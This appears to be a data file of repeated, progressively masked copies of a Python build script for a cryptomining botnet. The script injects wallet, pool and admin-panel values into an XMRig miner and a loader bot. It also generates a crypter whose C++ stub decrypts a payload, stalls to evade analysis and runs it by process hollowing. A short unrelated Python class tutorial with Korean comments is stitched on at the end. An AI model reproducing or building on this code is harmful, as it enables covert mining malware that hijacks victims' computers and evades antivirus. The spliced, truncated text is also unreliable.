'\\\\Miner\\\\Release\\\\winhost.exe', 'in.exe')\nprint(os.getcwd() + '\\\\enc.exe')\nsubprocess.call(os.getcwd() + '\\\\enc.exe')\ncrypt('winhost', key)\nos.system('del file.txt')\nos.system('del in.exe')\nos.system('del out.exe')\nos.system('del decr.exe')\nos.system('del enc.exe')\nos.system('del test.exe')\n",
"<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\nkey = random.randint(1, 100)\nu = sys.argv[1]\nw = sys.argv[2]\np = sys.argv[3]\nl = sys.argv[4]\na = sys.argv[5]\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd() + '\\\\Bot\\\\', 'LoaderBot')\nxcopy(os.getcwd() + '\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe', 'Bot.exe')\ncompileR(os.getcwd() + '\\\\rig\\\\', 'xmrig')\nxcopy(os.getcwd() + '\\\\rig\\\\Release\\\\xmrig.exe', 'out.exe')\ncrypt('test', key)\nos.system('C:\\\\Python27\\\\python.exe cv.py')\nwriteBytes(key)\ncompileM(os.getcwd() + '\\\\Miner\\\\', 'winhost')\nxcopy(os.getcwd() + '\\\\Miner\\\\Release\\\\winhost.exe', 'in.exe')\nprint(os.getcwd() + '\\\\enc.exe')\nsubprocess.call(os.getcwd() + '\\\\enc.exe')\ncrypt('winhost', key)\nos.system('del file.txt')\nos.system('del in.exe')\nos.system('del out.exe')\nos.system('del decr.exe')\nos.system('del enc.exe')\nos.system('del test.exe')\n",
"<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\n<assignment token>\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd() + '\\\\Bot\\\\', 'LoaderBot')\nxcopy(os.getcwd() + '\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe', 'Bot.exe')\ncompileR(os.getcwd() + '\\\\rig\\\\', 'xmrig')\nxcopy(os.getcwd() + '\\\\rig\\\\Release\\\\xmrig.exe', 'out.exe')\ncrypt('test', key)\nos.system('C:\\\\Python27\\\\python.exe cv.py')\nwriteBytes(key)\ncompileM(os.getcwd() + '\\\\Miner\\\\', 'winhost')\nxcopy(os.getcwd() + '\\\\Miner\\\\Release\\\\winhost.exe', 'in.exe')\nprint(os.getcwd() + '\\\\enc.exe')\nsubprocess.call(os.getcwd() + '\\\\enc.exe')\ncrypt('winhost', key)\nos.system('del file.txt')\nos.system('del in.exe')\nos.system('del out.exe')\nos.system('del decr.exe')\nos.system('del enc.exe')\nos.system('del test.exe')\n",
"<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\n<assignment token>\n<code token>\n",
"<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n<function token>\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n<function token>\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n<function token>\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n"
] | false |
9,939 |
babb5ac680c74e19db5c86c2c3323e8285d169ff
|
class MyClass:
name = "alice"
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def say_hello(self):
self.greet = "Hello"
def say_hi(self):
print("HI~~~~~")
p1 = MyClass()
p2 = MyClass()
print(p1.name)
p1.set_name("bob")
print(p1.name)
print(p2.name)
# 인스턴스 멤버를 적용한후에 그 인스턴스 멤버에 접근 할 수 있다
p1.say_hello()
print(p1.greet)
#클래스 메서드를 클래스. 으로 호출 했기 떄문에 self 파라미터를 하나 넘겨 줘야 한다
MyClass.say_hi("gg")
|
[
